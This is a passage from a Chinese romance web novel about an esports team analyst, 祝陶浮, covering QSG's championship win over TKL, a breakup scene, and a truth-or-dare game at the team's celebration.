“你立刻断掉跟QSG的往来,离开那里。”
角落安静无声,仿佛连窗上的水珠,静止流动。
默了片刻,祝陶浮说:“你还是跟以前一样,说话做事不怎么负责。”
“既然你知道我在基地,就也知晓我在队伍里当分析师,在比赛结束之前,我不可能离开。”
对面冷哼一声,祝峥不容置疑:“懒得跟你兜圈子,实话实说了吧,祁招是祁家的少爷,这点在你们电竞圈不算新鲜事。”
现在QSG大部分投资几乎出自于祁家,他是少爷这回事大家有目共睹。
“祁家既然出了一个任性的不务正业,自然是上面有人顶着,那个人就是祁招的长兄,两人同为胞胎,关系尚且不错。”
“但是,他的长兄,对于梁氏集团的战队,是站在梁靖明和梁煜那边。”
利害分明,答案揭晓,祁招意味深长地说。
“你整天在梁以盏的对立面身边晃悠,岂不是打他的脸。”——
作者有话说:新年快乐呀宝宝们[烟花]祝宝宝们新的一年,心愿马上全都实现!很神奇的体验,相隔大江南北,和一群陌生而可爱的妹妹们一起过新年!希望明年,也能和小宝们过除夕、迎新年,快乐地来到下一个春节吧[玫瑰][元宝][橘糖]
第28章 你在哪里,胜利就在哪边
自觉已经将利害关系陈列清晰, 孰轻孰重分晓一目了然。
然而回应祝峥的,是他意料之外的答案。
“梁以盏是梁以盏,我是我, 你说的那些与我无关。”语气是一如既往地温和,态度却坚定挑明, 祝陶浮再次重复了一遍。
“比赛结束之前,我不会离开。”
顺带, 反客为主,还敲打上祝峥。
“你不要无事生非。”
一个破游戏而已,竟然还值得令她同自己较真顶嘴, 祝峥简直气笑:“你……”
径直打断,终止话题,祝陶浮道果断挂掉电话。
“无法无天了真是,还敢和祁家人纠缠在一块儿。”愤怒地将手机丢在床上, 祝峥扶着额角。
原本是约了女伴共度良宵,被祝陶浮这通电话堵得没了心思。
披上衣服, 祝峥离开酒店回公司加班。
—
“祁招, 你好狠的心,竟然现在跟我提分手!”
黑夜里雨雾朦胧,若不仔细观察,以为露天停车场距离极近的二人,是在暧昧依偎, 而非离别分手。
在女生快要吻上他的时候,祁招别过了脸。
没有放弃,女生环住他颈侧的手拢得更紧,脸颊贴靠着他肩膀,继续追着他索吻, 祁招却一把推开了他。
“祁招,你什么意思。”乔芷晴从小娇生惯养,享受家人朋友和粉丝们的追捧,却在祁招这里碰壁遇冷。
“没什么意思。”相较于女生嗔怒撒娇,祁招垂手而立,神情颇为冷淡。
“不想玩了,你走吧。”话语简单干脆,祁招单刀直入,挑明了意思。
精致妆容忽然出现一丝裂痕,乔芷晴笑容有些僵硬:“不想玩了?怎么分手啊?”
懒散垂着眼睑,祁招摇了摇头。
心头一喜,正欲开口说些什么,对面的男人先一步出声。
“我们又没谈恋爱,分哪门子的手。”祁招微一挑眉,眼神是惯常的慵懒洒脱,言语犹如宣判般的冷漠无情。
“你情我愿,玩玩而已。”
“你……”饶是她再装傻充愣,也无法再不舍地粘着他。
祁招此言一出,乔芷晴甜甜的笑容变得泛酸苦涩,本来就是被人捧在手心,哪有死皮赖脸倒追的道理。
“你好狠的心,竟然现在跟我提分手!”
“不然呢,我说过,比赛期间,不要来找我。”轻嗤了声,祁招懒散瞥向她,眼里半分笑意也无。
要不是祁招模样英俊得极具冲击力,就凭他这气死人不偿命的嘴,她早就甩包走人。
奈何他就是长得好看,即使态度冷冰冰的,乔芷晴还是忍不住心念一动。
细雨缠绵凝落在他料峭疏离的眉眼间,水珠顺着高挺鼻尖滴落,凛冽而性感。
她无端联想起祁招在床上时,绷直的背肌,和缠绵着欲望的汗水,仿佛他滚烫喘息就在耳边。
眼神如同此刻,即使浸在粘稠情欲里,依然清醒锋利。
不由自主地放轻了声线,不似方才尖锐质问,乔芷晴稍微柔和了笑容,带着点委屈,娇软吐词。
“我也不是故意的,只是看你比赛输了,怕你心情不好,所以来找你。”说着,她上前一步,手心贴附在他臂膀。
“下次不会这样了嘛。”柔声细语,楚楚可怜,想靠服软撒娇来挽回男人。
手臂青筋凸起线条分明,贲张着性感令她心猿意马。
然而回应她的,是祁招毫不留情挥手撒开,转身就走。
徒留乔芷晴在雨里踉跄几步,差点摔在地上。
变故陡然间发生,令本就压抑着怒火的她,一下子被点燃。
从小到大,谁敢如此甩她角色,她不甘心地追了上去,高跟鞋叩在地面,寂静雨夜里响动清脆刺耳。
“我不信,你突然变脸,是不是有别的女人了。”踩着高跟小跑到他身前,美甲拽住他手腕,用力地快要嵌进肉里。
面对她略带歇斯底里的质问,祁招依旧是那副漫不经心、没把任何事情放在眼里的神情。
眼神懒散扫过,唇角勾起嘲讽笑意,充满着事不关己的疏离。
“我对谁都这样。”说着,他冷漠扳开攥紧她腕部的手指,头也不回地往前走。
雨水淋湿女生精美妆容,搭理过的卷发在雨中湿漉漉地贴着头皮,透出几分狼狈。
望着男人毫不留恋的离去背影,乔芷晴不甘心地尖叫道:“你就不怕,我把咱两的事抖露出去?!”
脚步未顿,祁招看也未看,倦冷声音散在风里。
“随你。”
刹那间,她一直支撑着的身体,颓唐地垮了下来。
等祁招
走远,旁边停靠的一辆保姆车,迅速下来两名助理。
一名帮忙用毛巾擦拭她发丝,另一名则赶紧将外套披在她肩膀。
“芷晴小姐,咱们回去吧,再待下去,免得被狗仔拍到。”助理小声提醒。
一个是走清纯路线上升期的小花,一个是绯闻满天无所谓的电竞选手。
到底谁会在意,答案一目了然。
—
败者组决赛,悄然而至。
进一步是争抢总决赛冠军,退一掉入冒泡赛,去争抢世界名额。
两边队伍都不希望去打冒泡赛,败者组决赛卯足劲头去冲锋。
双方上次交手是在季后赛,以QSG三比一胜利结束。
这一次,经全员有意调整,既是试水新体系,也是为了在总决赛藏起bp战术,不让TKL提前识破过多招数,QSG打得极为惨烈艰难,死死守住底牌英雄。
最终QSG三比二险胜,但外界预测TKL赢下冠军的胜率,从百分之六十五,飙升至九十。
“辛苦了辛苦了,大家今晚早点休息,好好睡一觉。”出差回来的第一件事,经理前往训练室,给队员们加油打气。
“听领队讲,这一周大家几乎通宵rank,咱们的分析师小祝还累得感冒了,真的不容易啊。”
经理分发从外地带回来的特产,到祝陶浮这里,除了他们都有的东西,额外送了她一个小礼盒。
“谢谢小祝,劳烦你给这群老顽固们整新活儿,这是美容养颜的,对小女生有好处。”
从工位上起身,祝陶浮双手接过:“谢谢经理。”
“看看,人家小姑娘多懂礼貌,哪像你们这群大老爷们,瘫坐着没个正形!”经理让她不用这么客气,又笑骂队员们。
决赛前一天,本该紧张不安的氛围,在经理一通调和之下,互相嬉戏打闹,开起玩笑明晚吃什么。
“来来来,我替chess做主,明晚无论输赢,他请客,大伙儿吃的尽兴,玩的开心!”领队大方发话,任由祁招出血。
被点到的主人公懒散靠在电竞桌旁,嗤笑着说:“问我过意见吗?”
右手边的中单,伸出胳膊揽过他肩膀,假模假样地征求:“那请问祁队,意下何如?”
轻啧了声,嫌弃地挥退他勾肩搭背,祁招施施然道:“准了。”
“呜呼~”
“祁队万岁!”
……
欢呼声此起彼伏,教练站出来唱红脸,给大家过高超载的情绪降温。
“行了行了,牢记不要半场开香槟,现在来进行最后的复盘,然后早点休息,不要熬夜!”
实际上,面对TKL的挑战,凶多吉少,全员心里丝毫没有放松地懈怠,有的只是潜藏在玩闹之下的全力以赴。
有点像,上学期间,大考之前的头一天夜晚。
大学期末备考都是各学各的,有的在自习室,有的在图书馆。
在洲安上私立高中的时候,祝陶浮学得又急又赶,根本没有班级测验一说。
时间回溯至少七八年前,在栖梧上学期间,才有所谓的考前氛围。
高中以前,在郊区城乡结合处的教育资源落后,班级的同学们普遍成绩平平,大多混日子等着以后在本地或者外地进厂打工。
老师们教书育人的工作没什么成就感,考前放任大家自由复习。
有的临时抱佛脚,有的哄笑打闹,总体上还算和谐,彼此之间相安无事度过考前最后的冲刺。
后来考进省重点,进了所谓的重点班,高一大家都全力以赴,考前挑灯夜战、争分夺秒。
还没来得及怎么感受这种大考前的凝重氛围,祝家将她接回洲安,强行塞进了私立高中的高三班,以期送出国水学历。
在QSG感受到大战前,轻松而不失紧张的备赛,祝陶浮觉得挺新鲜有趣。
连日阴雨总有转晴的一天,祝陶浮今晚下班早,慢悠悠散步回去。
街道尽头拐角处,路灯下依然懒散站着清冷身影,单手而立拨弄手机。
灯光昏黄勾勒他深挺眉眼和线条锋锐的下颌,睫羽轻扫暗影,暖色光晕朦胧柔和了冷冽沉郁气息。
“看你心情不错,明天势在必得。”见她过来,梁以盏收起手机,随意闲聊。
祝陶浮笑了下,抬眸看向身侧人。
“可是百分之九十的观众,都认为我们会输,你觉得呢?”
无所谓地嗯了句,梁以盏懒洋洋道:“我认为会赢。”
“原来你是那少数支持QSG的百分之十。”祝陶浮感慨说。
“不是。”梁以盏声线凉薄,半垂眼睑神情漠不关心。
“与QSG无关。”
祝陶浮怔了怔,疑惑问:“那这是……”
眼睑掀起,梁以盏好整以暇,懒散垂睨:“你在哪里,赢面就在哪边。”
第29章 那你偷偷地
lpl总决赛, TKL对阵QSG,大战在即,一触即发。
当天许若歆连发n条消息, 让祝陶浮别紧张。
望着微信聊天框里一连串表情包,祝陶浮回了个【擦汗.GIF】。
“好像是你, 比较紧张。”她实话实说。
“这能不紧张,一边是有好感的队伍, 一边是我好朋友,太魔幻现实了!!!”许若歆。
“反正,QSG必须赢。”
说着, 她发出预测赛果的截图。
上面赫然显示,许若歆将票,投给了QSG。
“等你好消息,到时候咱两约饭走起!”
祝陶浮:“【猫猫击掌.gif】”
决赛当天涉及到的流程比平时复杂, 还需要简单地彩排走位。
与TKL的比拼,是一场充满艰难险阻的战斗, 昨晚经理叮嘱大家早睡, 身体刚打完败决的肌肉记忆,队员们几乎整夜失眠。
即使祝陶浮没有在基地,躺在床上翻来覆去直到天明。
训练室里,瞅着彼此的黑眼圈,好笑中透露着一丝辛酸。
“辛苦了大半年, 大伙儿放开手脚,不要畏畏缩缩,去闯去打去拼!”
经理来到屋内,进行最后的动员。
“小祝,如果想看的话, 可以一起去。”
经理走到她座位旁边,征求意见。
正在将bp的笔记本整理完整,交给教练,祝陶浮摇了摇:“谢谢经理,我还是就呆在基地,等你们的好消息。”
平时可以在电脑建模分析,但上台的时候,教练组只能携带纸质资料。
接过她手里密密麻麻的笔记和稿纸,主、副教练对视一眼,心里突然有些不是滋味。
将近一个月的努力,不是敷衍噱头,不是装模作样,而是实打实地每天泡在训练室,最后一个离开。
人心肉长,主教练道:“小祝一起去吧。”
副教练点头:“最后一场最关键的比赛,我们是一个team,一个都能落下。”
知道他们是好意,祝陶浮笑笑,委婉拒绝:“算了,从车上下来万一被拍到,决赛多出来这么个人,外界会感到莫名其妙,恐怕不太好。”
电竞有些时候像是一座建筑奇特的象牙塔,里面的人厮杀残酷,你死我活,却又异样执拗不知变通。
队员们没有听出她的潜台词,顺着她的表面意思,帮她出主意分析。
“这有什么,那你戴个口罩,别人认不出来的。”辅助听完,认真给出建议。
“就是,再加顶帽子,经理你不是刚谈了一家帽子周边厂,bless长得漂亮,刚好戴着宣传一下嘛。”中路附和,继续给主意添砖加瓦。
“唉人家又带口罩又带帽子的,能看得出啥效果?”打野不解,听得一头雾水。
“你懂个毛线,真正的美女怎么折腾都能看出来是美女,就跟咱队的门面一样,是吧,chess?”一拍打野脑袋,上单笑他榆木脑壳,随即将目光眺向另一边。
不置可否,祁招没有对上单的调侃过多评价,长腿倚靠着电竞桌,居高临下,望向后方工位上的艳丽笑靥。
“遮遮掩掩算什么事,要出现就得堂堂正正。”狼尾散漫不羁,他微眯着眼,眸光
锋锐似要洞穿人心。
察觉到打量自己的目光,若有实质压锁过来,祝陶浮微微侧眸,平静回视。
半晌,先发出挑衅信号的人,淡嗤了一下,半垂眼睫懒散发话。
“所以今天不想就算了,不过,会有那一天的。”话音一转,祁招侵略性的眼神收了些许锋芒,懒洋洋地像在谈论久雨之后晴天的阳光。
“而且,不远。”他说。
既然当事人三推四阻,祁招意下随她,其余人员便不再强求。
“希望这是国内最后一场比赛,不要再打了啊。”监督笑言,因为如果输了,过一个星期,还要继续备战冒泡赛。
今天赢下这一场,将会直接晋级世界赛。
“那肯定的,一定会胜利,然后好好休息放个假!”经理微笑,招呼训练室的大伙,集中到屋子中前方的空地处。
伸出右手手背,垫在最底,左手冲着众人挥动,提高声音说:“现在,我们全员在此加油。”
无论强队还是弱队,在比赛以前,几乎会有一个共同的习惯,就是一起加油鼓励。
但都是在登上舞台前才进行,而非像现在还没从基地离开,提前开始这项幼稚却又充满希望的仪式。
经理率先发力,赛训组紧随其后,从监督到教练,挨个伸出右手,往上叠垒。
接着是队员们,一个个依次伸手叠加。
慢悠悠迈着步子,祁招神情写满了无聊笑意,却还是一伸胳膊,将手搭了上去。
“过来。”下颌扬了扬,他朝着后方勾起唇角。
从显示器旁边探头,眨了眨眼睛,祝陶浮迷惑询问:“在叫我吗?”
经理哈哈两声,点头附和:“那当然,是我们的小祝,咱一个team,你不到现场,只好把现场搬过来咯。”
愣怔片刻,祝陶浮才慢吞吞站起来:“这不太好……”
“没什么不好,快来吧。”教练和蔼一笑,催促她。
在众人期待眼神之中,祝陶浮犹豫着向他们走过去。
她看了眼祁招,对方难得敛起戏谑神色,野性难驯的眉眼间,流露平和淡然:“放上去吧。”
瓷白纤细的手指,在阳光下似上好透玉,能清晰可见如玉纹理的薄黛色血管,隐隐透着柔韧而富有生命力。
指尖在搭上去一瞬间,不自然地蜷缩。
旁边另一只修长宽大的手掌,径直握住她瘦弱伶仃的腕骨,截断她往后的退路。
抬眸望过去,对上倦懒而坚定的眼神。
祁招用空出来的左手掌心,强行令她的右手,贴靠在自己的手背上。
祝陶浮能感受到,他手背凸起的青筋线条,蓄积着危险原始的力量。
“好,全员到齐。”经理点点头,一锤定音,然后提高声量,大喊口号。
“我数三二一,大家一起加油!”
“三,二,一—“
全员齐声:“加油!”
很少做这种情绪如此外溢的事情,祝陶浮起初没有考虑跟着一起呐喊。
但在耳边响起声音的一刹那,她不由自主,也跟着一起。
尽管声音很小,轻到几乎不甚清晰。
“加油。”
—
万人场馆,沸反盈天,聚光灯将舞台照彻如白昼,指向最亮眼中央的冠军奖座。
QSG与TKL分列两侧,彼此之间摩拳擦掌、虎视眈眈,拼尽全力去厮杀争夺,这座近在咫尺却又遥不可及的奖杯。
bo5第一局,以QSG拿到舒适阵容的胜利而终结。
第二局,依旧是QSG赢。
然而接下来的三、四两局,却均是TKL胜利。
多么熟悉的剧情,胜者组决赛,也是QSG连赢两局率先拿到赛点,却被TKL连扳三局,拿下最终的胜利。
就连bp体系构造,都如此相似。
前两局是QSG主场,拿到熟悉阵容,去破TKL的新体系试验。
后面两局,则是TKL舒适区,QSG不得不随着比赛往后,暴露出bp短板的劣势。
第五局,正式开始。
“卧槽,什么诸葛亮与孟获,联赛大小王,QSG给TKL跪下!”
“哈哈哈哈哈TKL天克QSG,TKL可以开香槟咯。”
“司马串子滚!真正的TKL粉丝都是保持稳住,都不许开香槟!”
“纯理智客观分析,TKL就是很有赢面啊,从bp上就已经……等等,QSG这选的什么啊?!!!”
赛前的每一天备战,QSG都会复盘同一个问题。
与TKL的第五局,到底是在熟悉的领域寻求安全感,还是突破自我创建新体系,赛训组与队员们各执己见、争论不下。
甚至到了临上场的前一秒,大家依旧很难做出抉择。
到底是看似掌握主动的舒适圈,实则明知故犯,掉入对方的陷阱里。
还是去面对未知新世界,搏一个胜负参半的前程。
直到,锁下第一个英雄bp的那一刻,祝陶浮明了,这次QSG是选择了挑战新系。
他们用的,正是她模拟数据的最优解,却是他们最痛苦的bp阵容。
QSG为难,其实TKL也为难。
从TKL在锁下英雄时,花费的时间越来越多,甚至到倒计时最后一秒才落下帷幕,足以见得他们也处于纠结挣扎中。
前者没有按套路出牌,乖乖走进后者提前挖埋的深坑,反而重压之下,履新破局。
英雄锁定完毕,大部分网友,嘲笑QSG剑走偏峰,关键时刻走钢丝,准备等着一败涂地。
少数看得懂比赛的资深玩家,则从蛛丝马迹里,嗅到了危机中的变局,觉得QSG的bp拆解得已是当下最完美的选择。
战歌响,屏幕暗,双方进入召唤师峡谷。
从一开始进游戏的布控眼位,QSG和TKL异常谨慎,彼此你来我往,直至,第一次小龙团的碰撞。
现场唏嘘,QSG打出精彩表现,却极限交换,以生命换得龙团资源。
至此,TKL拿了人头,开启熟悉的经济滚雪球模式。
但接下来,拿到这条不起眼的小龙资源,QSG却仿佛打通了任督二脉,bp搭建的体系优势,开始逐渐显现。
并且越往后拖,TKL优势方越着急,反倒QSG身为劣势方打得不紧不慢,等着TKL一步步陷入自己的圈套中。
这一次,攻守易形,QSG是那个捕猎人。
水晶爆炸,基地倒塌,这一整年里,对战TKL的bo5终于不是失败二字。
QSG屏幕上,出现胜利。
在图标缓缓升起的第一时间,祝陶浮手机收到一条信息。
屏幕解锁,是梁以盏。
“出来一下。”
与往日夜色里的接下班不同,五点开始的比赛,现在正是华灯初上时刻。
街道人来人往,车水马龙,祝陶浮想了想,回复。
“那你偷偷地。”
第30章 你包的我
时光倒流, 高考的三天时间,学校门口每天都是熙熙攘攘。家长们或蹲或坐,等待着孩子走出考场。报考机构支起一个个小帐篷, 派发广告单和宣传页。
焦虑、欣喜、激动、沮丧……人潮汹涌,万千情绪交织碰撞, 在初夏的暑热里浮动沸腾。
考点不会在本校,格兰佩私立走的是国外留学路线, 自是不会作为考点。
所幸考点离租住地不远,步行几十分钟,不用考虑交通出行或者临时订酒店的问题。
以防万一, 依旧需要提前踩点,避免发生意外。
在踩点路线的时候,来回路上很多家长带着孩子,一边走一边叮咛考试注意事项。
无非是要睡好, 饮食健康清淡,不要忘带身份证和笔尺橡皮等等, 诸如此类的老生常谈。
梁以盏和祝陶浮混迹其中, 显得有些格格不入。
少男少女的搭配,女生在前一点,男生靠后一些,落在周围家长眼里,自动等同“早恋”“不学好”
的标签, 带着自家孩子,与他们俩稍稍保持距离。
距离最近也是最安全的一条窄巷,三三两两的行人疏密聚散,聊得话题不外乎考试分数。
被微妙隔开以后,行走在人群之中, 他们两反倒因此多余出来空间,更为轻松舒适。
“专心看路,想什么呢。”眼疾手快拽住她纤弱手腕,不至于踩上一块潮湿的青苔滑倒,梁以盏清冷声线里带着些无奈。
心惊胆战地重新站稳,祝陶浮小声地道谢,然后默默道。
“……其实你可以不用来。”
晚风里,她声音柔得几乎听不清,却还是被少年敏锐捕捉。
梁以盏懒懒散散,无所谓道:“没什么可不可以,我想来就来。”
他们闲聊的话题,关乎天边云彩的天气,关乎巷子尽头小店门口的冰淇淋,就是没有那场即将决定命运走向的大考。
可能是太过格格不入,所以其他学生几乎都是陪着踩点与接送考试的时候,身边的人未有改变,来来去去。
但考试的三天里,祝陶浮独来独往。
没有同校的同学,没有送考的老师,陪她踩点的人,一次都没有来接过她。
考试铃声响,围栏了三天的警戒线终于解散,或喜或悲,人群带着各自的心事相拥离开。
唯有祝陶浮,始终一个人。
画面定格初夏黄昏,少年懒散肆意的笑容,停留在那声“想来就来”,却再没有来接过自己。
杳无音信。
然而夏季末尾,在洲安的另一处地方,夜色里少年成长为情绪莫辨的男人,手握重权理应是愈发肆意妄为。
却从“想来就来”,变成了“你偷偷地”。
说是应酬路上的顺道而为,所以梁以盏带了司机,车也不是之前下雨,停车场里低调接送的suv。
可现在却将车辆停在基地门口马路上的临时泊车点,与其他颜色各异的车混在一起,黑亮奢华得有些滑稽又有些委屈。
基地喧嚷吵闹,灯火通明,正在欢呼QSG的胜利。
祝陶浮心里忍笑,穿过人群朝着街边走了过去。
似乎有所察觉,在她靠近车辆的那一刻,尚未伸出手指轻敲车窗,玻璃已然缓缓降下。
夜色昏沉,未能模糊他的容貌,轮廓反而愈发清晰锋利。
些许月光凝结在深邃眉骨与高挺鼻梁,于下颌阴影收束,干净而凛冽,蜿蜒没入散了颗扣子的西装衣领。
深灰眼眸看过来,薄唇翕动,梁以盏轻声说了什么,祝陶浮没能太听得清。
“……什么?”她往前走了一步,打算靠近细辩话语。
夜风里后颈微凉,忽然感觉到掌心温热,祝陶浮被一股力量掌控着,不得已稍加俯身,趴靠在窗沿,与车内人的距离瞬间拉近。
长手一伸,梁以盏手指搭在她后颈椎骨,带着不容置疑、却又不会伤害到她的利落力道。
细腻瓷白肌肤下,是微弱脉搏跳动。
修长指腹悬抵在那脉搏,像是在触碰到她黑夜里,看不见的心跳一下一下。
“恭喜。”喉结轻滚,沉哑说出二字。
薄凉的唇几乎贴在她耳垂,凛冽气息倾洒在她轻颤的眼睫,又很快随风散去。
“……谢谢。”
听见对方说了什么,祝陶浮垂着眼眸,迅速后退一步,与他间隔距离。
摁制着她的那只手,没有强行施压,松开时有意无意,温热掌心像是轻抚过白皙纤弱的侧颈,缓慢流连。
眼神落在她眼尾渐渐泛起的绯色,唇角微不可查地勾起极淡的弧度,如同闲聊天气般,状似不经意地施然启唇。
“来得晚了,恐怕不是第一个当面祝贺的吧。”
虽然很不想承认,祝陶浮别过目光,还是坦诚地点了点头。
“那……也不是第一个说出来的吧。”
诚然在游戏水晶爆炸散开,胜利图腾缓缓升起的那刻,QSG相关群消息陡然间99+。
哪怕许若歆再忙,依旧抽空表情包轰炸,连连称赞:“太强了我的浮,最后一手神之bp,一看就是出自于你!”
回以她【发射爱心.gif】,祝陶浮谦虚表示:“选出来是一回事,还得是选手们要发挥出来。”
此言确属事实,在现在版本变动越来越频繁、英雄数值越来越复杂,bp选择和选手发挥,对于胜利的奠定,几乎快要呈现一半一半的趋势。
lpl需要好的选手,更需要优秀的教练,否则不会每年大部分强队的教练,并非国产,而是花了大力气去国外挖来的赛训。
“我不管,在我心里,QSG力克强敌TKL,你就是立天功!”许若歆不听不听,疯狂夸夸。
“等你们俱乐部的庆功宴完了,咱两一定好好吃饭!”
尽管祝贺的消息纷至沓来,第一条,依旧是梁以盏。
出来一下。
哪里算说出来的恭喜。
祝陶浮不置可否,既没点头,也没摇头。
以及,许若歆这句,提点了她,不再陷入梁以盏的节奏,而是浅浅一笑。
“虽然说了祝贺,你也不是第一个和我吃饭的哦。”
路灯昏黄恹恹,冷峻侧颜在晦暗里锋锐似雪,梁以盏语气平淡。
“知道,昨晚你就说了。”
一时光顾着反驳,加上连日熬夜通宵,祝陶浮忘了他接自己下班时,的确提过这么一嘴事情。
“不过,我可以做你第一个。”
祝陶浮愣了愣,下意识找补:“还是算了吧,你今晚还有应酬,客商会介意。”
“他们不介意。”梁以盏说。
“额……我也不想跟着应酬。”她继续抛出理由。
没什么所谓地应了声,他漫不经心地说:“我也不想,所以就我和你。”
“你来吗。”——
尽管不知道梁以盏说推掉应酬、与她赴约的真假性,祝陶浮没有选择上车。
总决赛的胜利来之不易,全年就这么一场,因此各方媒体都抓住时机,逮着QSG大大小小将流量拉满,不是像平时例行采访完就可以下班。
因此,等队员们回基地,接上祝陶浮出去庆功宴,已然是第二天凌晨过后。
过度劳累的紧张疲乏过后,是极致的开心激动,此时正在兴奋劲头,队员们一拍即合,干脆将庆功宴推到后面一天,好好睡一觉再大吃一顿,才肯狠狠宰一笔一直压榨他们的队长。
于是一行人,前往一家私密性极高的高档club,在包厢里鬼哭狼嚎,发泄连日来的痛苦压抑。
虽然,他们依旧是从祁招钱包里掏钱。
眼角斜睨,祁招笑骂了一句,却还是派服务员取拿从自家带来存放的红酒,供大家挥霍享用:“出息,净干丢脸事,让人新来的,以为你们没见过世面。”
不以为耻、反以为荣,队员们嘻嘻哈哈,连连称颂:“哎呀,所以还得是祁队,多多带咱,见识见识!”
教练组则是摇了摇头,笑说着叹气:“哎,看看,还是小祝让人省心,chess你带出来的兵,都什么德性。”
偌大宽敞的包厢,祝陶浮坐在沙发上,弯着眼睛笑眯眯地看着他们。
不唱歌也不喝酒,她静静地吃着茶几上的果盘。
队伍里只有一个女生,见她不言不语,QSG没有像社会上的商务应酬,那样起哄,强迫喝酒唱歌、让人助兴。
反倒很贴心地替她点了一些甜点,和温热茶饮,领队颇为歉疚道:“不好意思啊,让你看笑话了。”
祝陶浮笑了笑,表示没有。
大家鬼哭狼嚎,把酒言欢,折腾大半宿,终于累了,中场休息玩起了酒桌上,活跃气氛的经典游戏。
白的红的,喝多了顾不上摇骰子。
上单把空的啤酒瓶往茶几上一扔,开始旋转:“来来来,真心话大冒险,一个都别想逃!”
相较于队员们上头嗨歌,祁招显得懒散
淡定许多,靠在沙发上拨弄手机,不知道在干什么。
所以游离了大半场的人,上单径直把瓶口对准祁招,嚣张一指:“你,身为队长,给大家打个样。”
“真心话,还是大冒险。”
懒散抬眸,祁招轻嗤了声,拿过一旁的酒杯,淡定倒酒。
“都不选。”
说完,将酒液一饮而尽,接着连饮两杯,昭示了他冷然态度。
还准备拿捏队长、猛猛吃瓜,结果酒精混沌的大脑,后知后觉想起祁招酒量挺好,根本不怕威胁,玩不玩纯看他心情。
上单:……
众人哄笑,祁招修长的手指一点,勾着酒瓶开始旋转。
在转动的时候,他看了一眼,坐在对面,相隔着几个人的地方。
包厢灯光被队员们调成了忽而闪烁的氛围暗灯,在光束亮起的一刹那,祝陶浮注意到,看向自己的目光。
慵懒不羁,像是在黑暗中锁定猎物。
不会这么巧吧……
脑海里闪过这么一个念头,下一秒,瓶口稳稳当当,对着自己。
祝陶浮:……
“哇哦,这是什么新手福利,一上来就中了啊。”
“祁招,欺负人小姑娘,有意思吗。”
“诶,别太过分啊,待会儿要是罚小祝的酒,你替她喝了啊。”
……
其他人状似调侃,实则替祝陶浮解围。
若是她都愿意选,也能避免喝酒问题。
祁招不耐地轻点下颌,冲着对面道:“人家都还没说话,你们在急什么。”
随即问她是真心话,还是大冒险。
“……真心话吧。”祝陶浮。
翘着的二郎腿放下,祁招稍稍坐靠着沙发,长腿落地,散漫半垂眼皮。
“那天接你下班的,是你男朋友吧。”
不是询问,而是陈述。
神情倦懒,然而看过来的眼神,却锋锐似刀锋,挑破人心。
“不是。”坦然回望过去,祝陶浮给出答案。
唇角勾起抹嘲讽的弧度,祁招并没有结束,紧跟着追问:“你说了不算,给他打电话,才能验证到底是什么。”
包厢里短暂安静,祝陶浮神色平静,拿出手机拨打。
免提开着,电话那头人声嘈杂,似乎在忙。
稍稍走到僻静些的地方,便听到了对方的答案。
“什么关系。”清冷嗓音隔着电流格外磁性低哑,他轻笑了一声,慢慢说道。
“你包的我。”《 》
30-40
第31章 我不想要孩子
此言一出, 包厢里再次陷入安静。
就连方才显得吵闹的ktv音乐,众人只觉得声音不够响亮,恨不得再大一点, 让背景音淹没手机里的人声。
虽然人声的音量并不大,却一字一顿, 掷地有声,沉稳清冽压过背景杂音。
当事人本人, 亦是十分震惊。
之所以在祁招发话以后,祝陶浮能能很快地反应过来,拿出手机拨打电话。
是因为她知道, 梁以盏今晚忙于应酬,抽不出时间来应和自己。
大冒险只规定了动作,对方不答应就不是自己的事情了,祝陶浮打算钻规则的漏洞, 蒙混过关。
然而在铃声快要结束的时候,对方接了起来。
手机免提模式, 放大了另一端的动静, 似乎他正在远离人群,来到例如阳台之类的僻静之地。
趁着这几秒的空档,祝陶浮担心他说出什么,会对他不利。
赶在他开口以前,她简要说明来由。
“……茶茶。”不方便叫本名, 她硬着头皮,喊备注。
对方若有似无地嗯了声,略表疑问。
如果能看到表情,祝陶浮估摸,他应该是微挑着眉, 神色带着戏谑意味。
大冒险不能提前跟来者说明情况,祝陶浮强行让自己镇定下来,心跳得没那么快,不至于让人瞧出端倪。
“那个……我们,是什么关系啊。”
这话在他们两之间,显得尤为突兀。
好似心照不宣,两人从不会提起这个敏感而尖锐的话题。
此时此刻,却借着大冒险的玩笑话说了出来。
以梁以盏心思深敏,必然从一开始就能察觉到异常。
以防万一,祝陶浮还补了一句。
“是……你觉得哈。”
你觉得,三个字重读。
感觉是主观上的,并非客观,这样就不会提起客观存在的订婚关系。
而免提打开,好也不好在此凸显。
不好的地方是防止串供,好的点在于ktv再怎么想保持安静,总会传来些微嘈杂声。
因此,层层推倒之下,梁以盏一定明白,她说的是玩笑话。
答案可以是室友、同学……
总之,不会是他略一沉吟以后,给出的——
“你包的我。”
愣怔抬眸,看向包厢里十余人,其他人也正看着她。
除了向她提问之人,坐在灯光阴影处,眼睫似垂非垂,看不清在想什么。
片刻,祝陶浮噎了一下,默默补救道:“……你别开玩笑了啊。”
按照玩笑的形式提问,确实没错,但没想到,他也以玩笑话的答案回予。
一时语塞,祝陶浮只好咬牙挤出来这么几个字。
电话那端似是哑懒地笑了下,低沉嗓音慢悠悠地传过来。
“让我睡在你那,我理解的有问题吗。”
祝陶浮:“……没有。”
说完,迅速挂断电话。
“额,哈哈哈,原来是室友啊。”
辅助挠挠头,打起圆场。
兄弟之间互相玩笑就算了,毕竟多年相处熟悉彼此品性。
但祝陶浮毕竟才来战队一个月,还是个小女生。
娱乐归娱乐,探听到别人的隐私,多少有点不好意思。
但祁招没有丝毫羞赧,反而吊儿郎当地继续追问。
“你不是借住在别人那里,还能带个吃软饭的。”
“哎,chess,你怎么还人身攻击上了。”上单白了他一眼,呵斥道。
“人家说不定是原本的房子维修或者怎么的,去小祝那里过渡。”
理由经不起推敲,漏洞百出,祝陶浮还是隔空感激地朝他看了一眼。
“就是,以为谁都跟你一样不要face,整那么多绯闻,经理头秃得都在打听哪家植发效果好。”领队叉了块水果丢进嘴里,边嚼边吐槽。
话题很快你一言我一语,不知不觉中转移。
酒桌游戏尚在继续,嬉闹笑声中,来到祝陶浮这里。
好巧不巧,在她转动酒瓶时,瓶口对准了祁招。
“干得漂亮!就是要狠狠报复回去。”打野乐呵呵道,撺掇她选大冒险。
“赞同,chess嘴里就没一句实话,而且你也说不过他,搞不好还被绕进去。”从前浪费过一次整蛊机会,中单分享经验,也让她选大冒险而非真心话。
略一思索,祝陶浮看向他,只道。
“既然来了,一晚上都坐在那里多没意思,那就唱首歌吧。”
此言一出,大家满是期待,变成了满堂唏嘘,遗憾就这么放过了他。
“哎,小祝,你真的太善良了。”教练哈哈大笑:“你看人怎么对你的,你这招也过于温柔了!”
